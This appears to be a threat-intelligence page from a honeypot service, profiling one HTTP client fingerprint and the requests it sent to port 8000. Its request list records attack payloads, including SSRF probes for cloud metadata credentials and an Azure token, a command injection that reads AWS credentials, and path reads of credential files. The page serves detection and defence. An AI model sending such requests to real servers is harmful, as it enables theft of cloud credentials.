HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agents
Integrations
OverviewMCPFeedsAPI / EnrichSplunk ESMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog
Dashboard

Akin HTTP request fingerprint

b11cun150_003473fe_5e0a1b42

Seen 2026-09-06 to 2026-09-06 across the retained window.

Open in lookup → Addresses as a feed

The feed is a URL your firewall, MISP or SIEM polls; it needs a free account so it can be revoked. Or watch the top network: AS199524 sends an email when it next hits a sensor.

1

Source IPs

1

Networks

1

Countries

1

Ports hit

665

Events

1

IPs / network

This fingerprint is spread thinly across many networks, which is the shape of a common, widely-used client.

Top networks

AS199524 G-Core Labs S.A.1 IPs665

Countries

NL 1

Ports targeted

8000/tcp 665

What it requests

GET/4
GET/api/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F2
GET/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F2
GET/admin/config?cmd=cat+/root/.aws/credentials2
GET/.well-known/credentials.json2
GET/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F2
GET/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F2
GET/api/download?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F2
GET/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F2
GET/@fs/home/node/.aws/credentials?raw??2
GET/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo2
GET/application-prod.properties2

User agents claimed

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.361 IPs665
Source IPCCNetwork Last seenEvents
79.133.126.157NLAS199524 G-Core Labs S.A.2026-09-06665

Related fingerprints

Clients whose header set is within two of this one, measured from the tokens themselves.

b11cun150_003473fe_14dc94d8same header set51 IPs24.9Kb11cun160_003477fe_6d1ef7161 header apart6 IPs3.5Kb11cun160_003477fe_56d8b2051 header apart6 IPs802b11cun160_003473ff_fa401f0f1 header apart3 IPs15b11cun130_000473fe_96c8c9a02 headers apart1 IPs39b11cun130_000473fe_f58b8bdf2 headers apart1 IPs5

About this fingerprint

Akin fingerprints an HTTP client from the request head alone: the protocol version, line endings, body framing, which headers are present, and the grammar of the negotiation header values. The User-Agent string and the request path are deliberately excluded, because both are trivially changed and both were measured varying within a single operator, so a scanner that rotates either keeps one fingerprint. The middle section is a presence bitmap rather than a hash, so two tokens can be compared directly to see how many headers the clients differ by.